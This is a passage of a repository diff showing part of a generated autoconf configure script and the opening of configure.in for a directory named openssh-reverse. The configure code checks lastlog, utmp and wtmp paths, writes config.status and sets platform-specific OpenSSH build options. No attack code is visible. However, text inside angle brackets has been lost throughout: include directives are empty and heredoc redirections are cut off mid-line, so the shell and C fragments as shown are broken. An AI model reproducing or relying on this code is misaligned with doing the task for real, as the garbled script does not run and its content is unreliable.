echo configure:5971: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + echo "$ac_t""no" 1>&6 + echo $ac_n "checking if your system defines _PATH_LASTLOG""... $ac_c" 1>&6 +echo "configure:5981: checking if your system defines _PATH_LASTLOG" >&5 + cat > conftest.$ac_ext < +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *lastlog = _PATH_LASTLOG; +; return 0; } +EOF +if { (eval echo configure:5999: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + echo "$ac_t""no" 1>&6 + system_lastlog_path=no + +fi +rm -f conftest* + + +fi +rm -f conftest* + +if test -z "$conf_lastlog_location"; then + if test x"$system_lastlog_path" = x"no" ; then + for f in /var/log/lastlog /usr/adm/lastlog /var/adm/lastlog /etc/security/lastlog ; do + if (test -d "$f" || test -f "$f") ; then + conf_lastlog_location=$f + fi + done + if test -z "$conf_lastlog_location"; then + echo "configure: warning: ** Cannot find lastlog **" 1>&2 + fi + fi +fi + +if test -n "$conf_lastlog_location"; then + cat >> confdefs.h <&6 +echo "configure:6038: checking if your system defines UTMP_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *utmp = UTMP_FILE; +; return 0; } +EOF +if { (eval echo configure:6053: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_utmp_path=no + +fi +rm -f conftest* +if test -z "$conf_utmp_location"; then + if test x"$system_utmp_path" = x"no" ; then + for f in /etc/utmp /usr/adm/utmp /var/run/utmp; do + if test -f $f ; then + conf_utmp_location=$f + fi + done + if test -z "$conf_utmp_location"; then + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + fi + fi +fi +if test -n "$conf_utmp_location"; then + cat >> confdefs.h <&6 +echo "configure:6088: checking if your system defines WTMP_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *wtmp = WTMP_FILE; +; return 0; } +EOF +if { (eval echo configure:6103: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_wtmp_path=no + +fi +rm -f conftest* +if test -z "$conf_wtmp_location"; then + if test x"$system_wtmp_path" = x"no" ; then + for f in /usr/adm/wtmp /var/log/wtmp; do + if test -f $f ; then + conf_wtmp_location=$f + fi + done + if test -z "$conf_wtmp_location"; then + cat >> confdefs.h <<\EOF +#define DISABLE_WTMP 1 +EOF + + fi + fi +fi +if test -n "$conf_wtmp_location"; then + cat >> confdefs.h <&6 +echo "configure:6139: checking if your system defines UTMPX_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *utmpx = UTMPX_FILE; +; return 0; } +EOF +if { (eval echo configure:6157: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_utmpx_path=no + +fi +rm -f conftest* +if test -z "$conf_utmpx_location"; then + if test x"$system_utmpx_path" = x"no" ; then + cat >> confdefs.h <<\EOF +#define DISABLE_UTMPX 1 +EOF + + fi +else + cat >> confdefs.h <&6 +echo "configure:6184: checking if your system defines WTMPX_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_UTMPX_H +#include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *wtmpx = WTMPX_FILE; +; return 0; } +EOF +if { (eval echo configure:6202: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + echo "$ac_t""no" 1>&6 + system_wtmpx_path=no + +fi +rm -f conftest* +if test -z "$conf_wtmpx_location"; then + if test x"$system_wtmpx_path" = x"no" ; then + cat >> confdefs.h <<\EOF +#define DISABLE_WTMPX 1 +EOF + + fi +else + cat >> confdefs.h <> confdefs.h <&2 +fi + +trap '' 1 2 15 +cat > confcache <<\EOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs. It is not useful on other systems. +# If it contains results you don't want to keep, you may remove or edit it. +# +# By default, configure uses ./config.cache as the cache file, +# creating it if it does not exist already. You can give configure +# the --cache-file=FILE option to use a different cache file; that is +# what configure does when it calls configure scripts in +# subdirectories, so they share the cache. +# Giving --cache-file=/dev/null disables caching, for debugging configure. +# config.status only pays attention to the cache file if you give it the +# --recheck option to rerun configure. +# +EOF +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, don't put newlines in cache variables' values. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +(set) 2>&1 | + case `(ac_space=' '; set | grep ac_space) 2>&1` in + *ac_space=\ *) + # `set' does not quote correctly, so add quotes (double-quote substitution + # turns \\\\ into \\, and sed turns \\ into \). + sed -n \ + -e "s/'/'\\\\''/g" \ + -e "s/^\\([a-zA-Z0-9_]*_cv_[a-zA-Z0-9_]*\\)=\\(.*\\)/\\1=\${\\1='\\2'}/p" + ;; + *) + # `set' quotes correctly as required by POSIX, so do not add quotes. + sed -n -e 's/^\([a-zA-Z0-9_]*_cv_[a-zA-Z0-9_]*\)=\(.*\)/\1=${\1=\2}/p' + ;; + esac >> confcache +if cmp -s $cache_file confcache; then + : +else + if test -w $cache_file; then + echo "updating cache $cache_file" + cat confcache > $cache_file + else + echo "not updating unwritable cache $cache_file" + fi +fi +rm -f confcache + +trap 'rm -fr conftest* confdefs* core core.* *.core $ac_clean_files; exit 1' 1 2 15 + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +# Any assignment to VPATH causes Sun make to only execute +# the first set of double-colon rules, so remove it if not needed. +# If there is a colon in the path, we need to keep it. +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=[^:]*$/d' +fi + +trap 'rm -f $CONFIG_STATUS conftest*; exit 1' 1 2 15 + +DEFS=-DHAVE_CONFIG_H + +# Without the "./", some shells look in PATH for config.status. +: ${CONFIG_STATUS=./config.status} + +echo creating $CONFIG_STATUS +rm -f $CONFIG_STATUS +cat > $CONFIG_STATUS </dev/null | sed 1q`: +# +# $0 $ac_configure_args +# +# Compiler output produced by configure, useful for debugging +# configure, is in ./config.log if it exists. + +ac_cs_usage="Usage: $CONFIG_STATUS [--recheck] [--version] [--help]" +for ac_option +do + case "\$ac_option" in + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + echo "running \${CONFIG_SHELL-/bin/sh} $0 $ac_configure_args --no-create --no-recursion" + exec \${CONFIG_SHELL-/bin/sh} $0 $ac_configure_args --no-create --no-recursion ;; + -version | --version | --versio | --versi | --vers | --ver | --ve | --v) + echo "$CONFIG_STATUS generated by autoconf version 2.13" + exit 0 ;; + -help | --help | --hel | --he | --h) + echo "\$ac_cs_usage"; exit 0 ;; + *) echo "\$ac_cs_usage"; exit 1 ;; + esac +done + +ac_given_srcdir=$srcdir +ac_given_INSTALL="$INSTALL" + +trap 'rm -fr `echo "Makefile ssh_prng_cmds config.h" | sed "s/:[^ ]*//g"` conftest*; exit 1' 1 2 15 +EOF +cat >> $CONFIG_STATUS < conftest.subs <<\\CEOF +$ac_vpsub +$extrasub +s%@SHELL@%$SHELL%g +s%@CFLAGS@%$CFLAGS%g +s%@CPPFLAGS@%$CPPFLAGS%g +s%@CXXFLAGS@%$CXXFLAGS%g +s%@FFLAGS@%$FFLAGS%g +s%@DEFS@%$DEFS%g +s%@LDFLAGS@%$LDFLAGS%g +s%@LIBS@%$LIBS%g +s%@exec_prefix@%$exec_prefix%g +s%@prefix@%$prefix%g +s%@program_transform_name@%$program_transform_name%g +s%@bindir@%$bindir%g +s%@sbindir@%$sbindir%g +s%@libexecdir@%$libexecdir%g +s%@datadir@%$datadir%g +s%@sysconfdir@%$sysconfdir%g +s%@sharedstatedir@%$sharedstatedir%g +s%@localstatedir@%$localstatedir%g +s%@libdir@%$libdir%g +s%@includedir@%$includedir%g +s%@oldincludedir@%$oldincludedir%g +s%@infodir@%$infodir%g +s%@mandir@%$mandir%g +s%@CC@%$CC%g +s%@host@%$host%g +s%@host_alias@%$host_alias%g +s%@host_cpu@%$host_cpu%g +s%@host_vendor@%$host_vendor%g +s%@host_os@%$host_os%g +s%@CPP@%$CPP%g +s%@RANLIB@%$RANLIB%g +s%@INSTALL_PROGRAM@%$INSTALL_PROGRAM%g +s%@INSTALL_SCRIPT@%$INSTALL_SCRIPT%g +s%@INSTALL_DATA@%$INSTALL_DATA%g +s%@AR@%$AR%g +s%@PERL@%$PERL%g +s%@ENT@%$ENT%g +s%@LD@%$LD%g +s%@rsh_path@%$rsh_path%g +s%@xauth_path@%$xauth_path%g +s%@RANDOM_POOL@%$RANDOM_POOL%g +s%@PROG_LS@%$PROG_LS%g +s%@PROG_NETSTAT@%$PROG_NETSTAT%g +s%@PROG_ARP@%$PROG_ARP%g +s%@PROG_IFCONFIG@%$PROG_IFCONFIG%g +s%@PROG_PS@%$PROG_PS%g +s%@PROG_W@%$PROG_W%g +s%@PROG_WHO@%$PROG_WHO%g +s%@PROG_LAST@%$PROG_LAST%g +s%@PROG_LASTLOG@%$PROG_LASTLOG%g +s%@PROG_DF@%$PROG_DF%g +s%@PROG_VMSTAT@%$PROG_VMSTAT%g +s%@PROG_UPTIME@%$PROG_UPTIME%g +s%@PROG_IPCS@%$PROG_IPCS%g +s%@PROG_TAIL@%$PROG_TAIL%g +s%@INSTALL_SSH_PRNG_CMDS@%$INSTALL_SSH_PRNG_CMDS%g +s%@MANTYPE@%$MANTYPE%g +s%@mansubdir@%$mansubdir%g +s%@piddir@%$piddir%g + +CEOF +EOF + +cat >> $CONFIG_STATUS <<\EOF + +# Split the substitutions into bite-sized pieces for seds with +# small command number limits, like on Digital OSF/1 and HP-UX. +ac_max_sed_cmds=90 # Maximum number of lines to put in a sed script. +ac_file=1 # Number of current file. +ac_beg=1 # First line for current file. +ac_end=$ac_max_sed_cmds # Line after last line for current file. +ac_more_lines=: +ac_sed_cmds="" +while $ac_more_lines; do + if test $ac_beg -gt 1; then + sed "1,${ac_beg}d; ${ac_end}q" conftest.subs > conftest.s$ac_file + else + sed "${ac_end}q" conftest.subs > conftest.s$ac_file + fi + if test ! -s conftest.s$ac_file; then + ac_more_lines=false + rm -f conftest.s$ac_file + else + if test -z "$ac_sed_cmds"; then + ac_sed_cmds="sed -f conftest.s$ac_file" + else + ac_sed_cmds="$ac_sed_cmds | sed -f conftest.s$ac_file" + fi + ac_file=`expr $ac_file + 1` + ac_beg=$ac_end + ac_end=`expr $ac_end + $ac_max_sed_cmds` + fi +done +if test -z "$ac_sed_cmds"; then + ac_sed_cmds=cat +fi +EOF + +cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF +for ac_file in .. $CONFIG_FILES; do if test "x$ac_file" != x..; then + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case "$ac_file" in + *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'` + ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + *) ac_file_in="${ac_file}.in" ;; + esac + + # Adjust a relative srcdir, top_srcdir, and INSTALL for subdirectories. + + # Remove last slash and all that follows it. Not all systems have dirname. + ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'` + if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then + # The file is in a subdirectory. + test ! -d "$ac_dir" && mkdir "$ac_dir" + ac_dir_suffix="/`echo $ac_dir|sed 's%^\./%%'`" + # A "../" for each directory in $ac_dir_suffix. + ac_dots=`echo $ac_dir_suffix|sed 's%/[^/]*%../%g'` + else + ac_dir_suffix= ac_dots= + fi + + case "$ac_given_srcdir" in + .) srcdir=. + if test -z "$ac_dots"; then top_srcdir=. + else top_srcdir=`echo $ac_dots|sed 's%/$%%'`; fi ;; + /*) srcdir="$ac_given_srcdir$ac_dir_suffix"; top_srcdir="$ac_given_srcdir" ;; + *) # Relative path. + srcdir="$ac_dots$ac_given_srcdir$ac_dir_suffix" + top_srcdir="$ac_dots$ac_given_srcdir" ;; + esac + + case "$ac_given_INSTALL" in + [/$]*) INSTALL="$ac_given_INSTALL" ;; + *) INSTALL="$ac_dots$ac_given_INSTALL" ;; + esac + + echo creating "$ac_file" + rm -f "$ac_file" + configure_input="Generated automatically from `echo $ac_file_in|sed 's%.*/%%'` by configure." + case "$ac_file" in + *Makefile*) ac_comsub="1i\\ +# $configure_input" ;; + *) ac_comsub= ;; + esac + + ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"` + sed -e "$ac_comsub +s%@configure_input@%$configure_input%g +s%@srcdir@%$srcdir%g +s%@top_srcdir@%$top_srcdir%g +s%@INSTALL@%$INSTALL%g +" $ac_file_inputs | (eval "$ac_sed_cmds") > $ac_file +fi; done +rm -f conftest.s* + +# These sed commands are passed to sed as "A NAME B NAME C VALUE D", where +# NAME is the cpp macro being defined and VALUE is the value it is being given. +# +# ac_d sets the value in "#define NAME VALUE" lines. +ac_dA='s%^\([ ]*\)#\([ ]*define[ ][ ]*\)' +ac_dB='\([ ][ ]*\)[^ ]*%\1#\2' +ac_dC='\3' +ac_dD='%g' +# ac_u turns "#undef NAME" with trailing blanks into "#define NAME VALUE". +ac_uA='s%^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_uB='\([ ]\)%\1#\2define\3' +ac_uC=' ' +ac_uD='\4%g' +# ac_e turns "#undef NAME" without trailing blanks into "#define NAME VALUE". +ac_eA='s%^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_eB='$%\1#\2define\3' +ac_eC=' ' +ac_eD='%g' + +if test "${CONFIG_HEADERS+set}" != set; then +EOF +cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF +fi +for ac_file in .. $CONFIG_HEADERS; do if test "x$ac_file" != x..; then + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case "$ac_file" in + *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'` + ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + *) ac_file_in="${ac_file}.in" ;; + esac + + echo creating $ac_file + + rm -f conftest.frag conftest.in conftest.out + ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"` + cat $ac_file_inputs > conftest.in + +EOF + +# Transform confdefs.h into a sed script conftest.vals that substitutes +# the proper values into config.h.in to produce config.h. And first: +# Protect against being on the right side of a sed subst in config.status. +# Protect against being in an unquoted here document in config.status. +rm -f conftest.vals +cat > conftest.hdr <<\EOF +s/[\\&%]/\\&/g +s%[\\$`]%\\&%g +s%#define \([A-Za-z_][A-Za-z0-9_]*\) *\(.*\)%${ac_dA}\1${ac_dB}\1${ac_dC}\2${ac_dD}%gp +s%ac_d%ac_u%gp +s%ac_u%ac_e%gp +EOF +sed -n -f conftest.hdr confdefs.h > conftest.vals +rm -f conftest.hdr + +# This sed command replaces #undef with comments. This is necessary, for +# example, in the case of _POSIX_SOURCE, which is predefined and required +# on some systems where configure will not decide to define it. +cat >> conftest.vals <<\EOF +s%^[ ]*#[ ]*undef[ ][ ]*[a-zA-Z_][a-zA-Z_0-9]*%/* & */% +EOF + +# Break up conftest.vals because some shells have a limit on +# the size of here documents, and old seds have small limits too. + +rm -f conftest.tail +while : +do + ac_lines=`grep -c . conftest.vals` + # grep -c gives empty output for an empty file on some AIX systems. + if test -z "$ac_lines" || test "$ac_lines" -eq 0; then break; fi + # Write a limited-size here document to conftest.frag. + echo ' cat > conftest.frag <> $CONFIG_STATUS + sed ${ac_max_here_lines}q conftest.vals >> $CONFIG_STATUS + echo 'CEOF + sed -f conftest.frag conftest.in > conftest.out + rm -f conftest.in + mv conftest.out conftest.in +' >> $CONFIG_STATUS + sed 1,${ac_max_here_lines}d conftest.vals > conftest.tail + rm -f conftest.vals + mv conftest.tail conftest.vals +done +rm -f conftest.vals + +cat >> $CONFIG_STATUS <<\EOF + rm -f conftest.frag conftest.h + echo "/* $ac_file. Generated automatically by configure. */" > conftest.h + cat conftest.in >> conftest.h + rm -f conftest.in + if cmp -s $ac_file conftest.h 2>/dev/null; then + echo "$ac_file is unchanged" + rm -f conftest.h + else + # Remove last slash and all that follows it. Not all systems have dirname. + ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'` + if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then + # The file is in a subdirectory. + test ! -d "$ac_dir" && mkdir "$ac_dir" + fi + rm -f $ac_file + mv conftest.h $ac_file + fi +fi; done + +EOF +cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF + +exit 0 +EOF +chmod +x $CONFIG_STATUS +rm -fr confdefs* $ac_clean_files +test "$no_create" = yes || ${CONFIG_SHELL-/bin/sh} $CONFIG_STATUS || exit 1 + + +# Print summary of options + +if test x$MANTYPE = x'$(CATMAN)' ; then + MAN_MSG=cat +else + MAN_MSG=man +fi +if test ! -z "$RANDOM_POOL" ; then + RAND_MSG="Device ($RANDOM_POOL)" +else + if test ! -z "$EGD_SOCKET" ; then + RAND_MSG="EGD ($EGD_SOCKET)" + else + RAND_MSG="Builtin (timeout $entropy_timeout)" + fi +fi + +# Someone please show me a better way :) +A=`eval echo ${prefix}` ; A=`eval echo ${A}` +B=`eval echo ${bindir}` ; B=`eval echo ${B}` +C=`eval echo ${sbindir}` ; C=`eval echo ${C}` +D=`eval echo ${sysconfdir}` ; D=`eval echo ${D}` +E=`eval echo ${libexecdir}/ssh/ssh-askpass` ; E=`eval echo ${E}` +F=`eval echo ${mandir}/${mansubdir}X` ; F=`eval echo ${F}` +G=`eval echo ${piddir}` ; G=`eval echo ${G}` + +echo "" +echo "OpenSSH configured has been configured with the following options." +echo " User binaries: $B" +echo " System binaries: $C" +echo " Configuration files: $D" +echo " Askpass program: $E" +echo " Manual pages: $F" +echo " PID file: $G" +echo " Random number collection: $RAND_MSG" +echo " Manpage format: $MAN_MSG" +echo " PAM support: ${PAM_MSG}" +echo " KerberosIV support: $KRB4_MSG" +echo " AFS support: $AFS_MSG" +echo " S/KEY support: $SKEY_MSG" +echo " TCP Wrappers support: $TCPW_MSG" +echo " MD5 password support: $MD5_MSG" +echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG" +echo " Use IPv4 by default hack: $IPV4_HACK_MSG" +echo " Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG" + +echo "" + +echo "Compiler flags: ${CFLAGS}" +echo "Linker flags: ${LDFLAGS}" +echo "Libraries: ${LIBS}" + +echo "" + diff --git a/other/openssh-reverse/configure.in b/other/openssh-reverse/configure.in new file mode 100644 index 0000000..9265985 --- /dev/null +++ b/other/openssh-reverse/configure.in @@ -0,0 +1,1381 @@ +AC_INIT(ssh.c) + +AC_CONFIG_HEADER(config.h) +AC_PROG_CC +AC_CANONICAL_HOST + +# Checks for programs. +AC_PROG_CPP +AC_PROG_RANLIB +AC_PROG_INSTALL +AC_CHECK_PROG(AR, ar, ar) +AC_PATH_PROG(PERL, perl) +AC_SUBST(PERL) +AC_PATH_PROG(ENT, ent) +AC_SUBST(ENT) + +if test -z "$LD" ; then + LD=$CC +fi +AC_SUBST(LD) + +# C Compiler features +AC_C_INLINE +if test "$GCC" = "yes"; then + CFLAGS="$CFLAGS -Wall" +fi + +# Check for some target-specific stuff +case "$host" in +*-*-aix*) + AFS_LIBS="-lld" + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + if (test "$LD" != "gcc" && test -z "$blibpath"); then + blibpath="/usr/lib:/lib:/usr/local/lib" + fi + AC_CHECK_FUNC(authenticate, [AC_DEFINE(WITH_AIXAUTHENTICATE)]) + AC_DEFINE(BROKEN_GETADDRINFO) + MANTYPE='$(CATMAN)' + mansubdir=cat + dnl AIX handles lastlog as part of its login message + AC_DEFINE(DISABLE_LASTLOG) + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-hpux10*) + if test -z "$GCC"; then + CFLAGS="$CFLAGS -Ae" + fi + CFLAGS="$CFLAGS -D_HPUX_SOURCE" + AC_DEFINE(IPADDR_IN_DISPLAY) + AC_MSG_CHECKING(for HPUX trusted system password database) + if test -f /tcb/files/auth/system/default; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAVE_HPUX_TRUSTED_SYSTEM_PW) + LIBS="$LIBS -lsec" + AC_MSG_WARN([This configuration is untested]) + else + AC_MSG_RESULT(no) + AC_DEFINE(DISABLE_SHADOW) + fi + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-hpux11*) + if test -z "$GCC"; then + CFLAGS="$CFLAGS -Ae" + fi + CFLAGS="$CFLAGS -D_HPUX_SOURCE" + AC_DEFINE(IPADDR_IN_DISPLAY) + AC_MSG_CHECKING(for HPUX trusted system password database) + if test -f /tcb/files/auth/system/default; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAVE_HPUX_TRUSTED_SYSTEM_PW) + LIBS="$LIBS -lsec" + AC_MSG_WARN([This configuration is untested]) + else + AC_MSG_RESULT(no) + AC_DEFINE(DISABLE_SHADOW) + fi + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-irix5*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + MANTYPE='$(CATMAN)' + no_libsocket=1 + no_libnsl=1 + ;; +*-*-irix6*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + MANTYPE='$(CATMAN)' + AC_DEFINE(WITH_IRIX_ARRAY) + AC_DEFINE(WITH_IRIX_PROJECT) + AC_DEFINE(WITH_IRIX_AUDIT) + no_libsocket=1 + no_libnsl=1 + ;; +*-*-linux*) + no_dev_ptmx=1 + AC_DEFINE(DONT_TRY_OTHER_AF) + AC_DEFINE(PAM_TTY_KLUDGE) + inet6_default_4in6=yes + ;; +*-*-netbsd*) + need_dash_r=1 + ;; +*-next-*) + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/usr/adm/lastlog" + conf_utmp_location=/etc/utmp + AC_DEFINE(HAVE_NEXT) + CFLAGS="$CFLAGS -I/usr/local/include" + MAIL=/usr/spool/mail + AC_MSG_WARN([*** Tested: PA-RISC/m68k Untested: Sparc/Intel]) + AC_MSG_WARN([*** Expect 'scp' to fail!]) + AC_MSG_WARN([*** Please report any problems, thanks]) + ;; +*-*-solaris*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -R/usr/local/lib -L/usr/ucblib -R/usr/ucblib" + need_dash_r=1 + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/var/adm/lastlog" + AC_MSG_CHECKING(for obsolete utmp and wtmp in solaris2.x) + sol2ver=`echo "$host"| sed -e 's/.*[[0-9]]\.//'` + if test "$sol2ver" -ge 8; then + AC_MSG_RESULT(yes) + AC_DEFINE(DISABLE_UTMP) + AC_DEFINE(DISABLE_WTMP) + else + AC_MSG_RESULT(no) + fi + ;; +*-*-sunos4*) + CFLAGS="$CFLAGS -DSUNOS4" + AC_CHECK_FUNCS(getpwanam) + ;; +*-sni-sysv*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -L/usr/ucblib" + MANTYPE='$(CATMAN)' + AC_DEFINE(IP_TOS_IS_BROKEN) + mansubdir=cat + LIBS="$LIBS -lgen -lnsl -lucb" + ;; +*-*-sysv*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + MANTYPE='$(CATMAN)' + mansubdir=cat + LIBS="$LIBS -lgen -lsocket" + ;; +*-*-sco3*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + MANTYPE='$(CATMAN)' + mansubdir=cat + LIBS="$LIBS -lgen -lsocket" + no_dev_ptmx=1 + ;; +*-dec-osf*) +# This is untested + if test ! -z "USE_SIA" ; then + AC_MSG_CHECKING(for Digital Unix Security Integration Architecture) + if test -f /etc/sia/matrix.conf; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAVE_OSF_SIA) + AC_DEFINE(DISABLE_LOGIN) + LIBS="$LIBS -lsecurity -ldb -lm -laud" + else + AC_MSG_RESULT(no) + fi + fi + ;; +esac + +# Allow user to specify flags +AC_ARG_WITH(cflags, + [ --with-cflags Specify additional flags to pass to compiler], + [ + if test "x$withval" != "xno" ; then + CFLAGS="$CFLAGS $withval" + fi + ] +) +AC_ARG_WITH(ldflags, + [ --with-ldlags Specify additional flags to pass to linker], + [ + if test "x$withval" != "xno" ; then + LDFLAGS="$LDFLAGS $withval" + fi + ] +) +AC_ARG_WITH(libs, + [ --with-libs Specify additional libraries to link with], + [ + if test "x$withval" != "xno" ; then + LIBS="$LIBS $withval" + fi + ] +) + + +# Checks for libraries. +AC_CHECK_LIB(z, deflate, ,AC_MSG_ERROR([*** zlib missing - please install first ***])) +AC_CHECK_LIB(util, login, AC_DEFINE(HAVE_LIBUTIL_LOGIN) LIBS="$LIBS -lutil") + +if test -z "$no_libsocket" ; then + AC_CHECK_LIB(nsl, yp_match, , ) +fi +if test -z "$no_libnsl" ; then + AC_CHECK_LIB(socket, main, , ) +fi + +# Checks for header files. +AC_CHECK_HEADERS(bstring.h endian.h floatingpoint.h lastlog.h limits.h login.h maillock.h netdb.h netgroup.h netinet/in_systm.h paths.h poll.h pty.h shadow.h security/pam_appl.h sys/bitypes.h sys/bsdtty.h sys/cdefs.h sys/poll.h sys/select.h sys/stat.h sys/stropts.h sys/sysmacros.h sys/time.h sys/ttcompat.h stddef.h time.h usersec.h util.h utmp.h utmpx.h) + +# Checks for library functions. +AC_CHECK_FUNCS(arc4random atexit b64_ntop bcopy bindresvport_af clock freeaddrinfo gai_strerror getaddrinfo getnameinfo getrusage inet_aton innetgr md5_crypt memmove mkdtemp on_exit openpty rresvport_af setenv seteuid setlogin setproctitle setreuid sigaction sigvec snprintf strerror strlcat strlcpy strsep vsnprintf vhangup _getpty __b64_ntop) +dnl checks for time functions +AC_CHECK_FUNCS(gettimeofday time) +dnl checks for libutil functions +AC_CHECK_FUNCS(login logout updwtmp logwtmp) +dnl checks for utmp functions +AC_CHECK_FUNCS(entutent getutent getutid getutline pututline setutent) +AC_CHECK_FUNCS(utmpname) +dnl checks for utmpx functions +AC_CHECK_FUNCS(entutxent getutxent getutxid getutxline pututxline ) +AC_CHECK_FUNCS(setutxent utmpxname) + +AC_CHECK_FUNC(getuserattr, + [AC_DEFINE(HAVE_GETUSERATTR)], + [AC_CHECK_LIB(s, getuserattr, [LIBS="$LIBS -ls"; AC_DEFINE(HAVE_GETUSERATTR)])] +) + +AC_CHECK_FUNC(login, + [AC_DEFINE(HAVE_LOGIN)], + [AC_CHECK_LIB(bsd, login, [LIBS="$LIBS -lbsd"; AC_DEFINE(HAVE_LOGIN)])] +) + +AC_CHECK_FUNC(daemon, + [AC_DEFINE(HAVE_DAEMON)], + [AC_CHECK_LIB(bsd, daemon, [LIBS="$LIBS -lbsd"; AC_DEFINE(HAVE_DAEMON)])] +) + +AC_CHECK_FUNC(getpagesize, + [AC_DEFINE(HAVE_GETPAGESIZE)], + [AC_CHECK_LIB(ucb, getpagesize, [LIBS="$LIBS -lucb"; AC_DEFINE(HAVE_GETPAGESIZE)])] +) + +# Check for broken snprintf +if test "x$ac_cv_func_snprintf" = "xyes" ; then + AC_MSG_CHECKING([whether snprintf correctly terminates long strings]) + AC_TRY_RUN( + [ +#include +int main(void){char b[5];snprintf(b,5,"123456789");return(b[4]!='\0');} + ], + [AC_MSG_RESULT(yes)], + [ + AC_MSG_RESULT(no) + AC_DEFINE(BROKEN_SNPRINTF) + AC_MSG_WARN([****** Your snprintf() function is broken, complain to your vendor]) + ] + ) +fi + +PAM_MSG="no" +AC_ARG_WITH(pam, + [ --without-pam Disable PAM support ], + [ + if test "x$withval" = "xno" ; then + no_pam=1 + AC_DEFINE(DISABLE_PAM) + PAM_MSG="disabled" + fi + ] +) +if (test -z "$no_pam" && test "x$ac_cv_header_security_pam_appl_h" = "xyes") ; then + AC_CHECK_LIB(dl, dlopen, , ) + LIBS="$LIBS -lpam" + + AC_CHECK_FUNCS(pam_getenvlist) + + disable_shadow=yes + + PAM_MSG="yes" + + # Check PAM strerror arguments (old PAM) + AC_MSG_CHECKING([whether pam_strerror takes only one argument]) + AC_TRY_COMPILE( + [ +#include +#include + ], + [(void)pam_strerror((pam_handle_t *)NULL, -1);], + [AC_MSG_RESULT(no)], + [ + 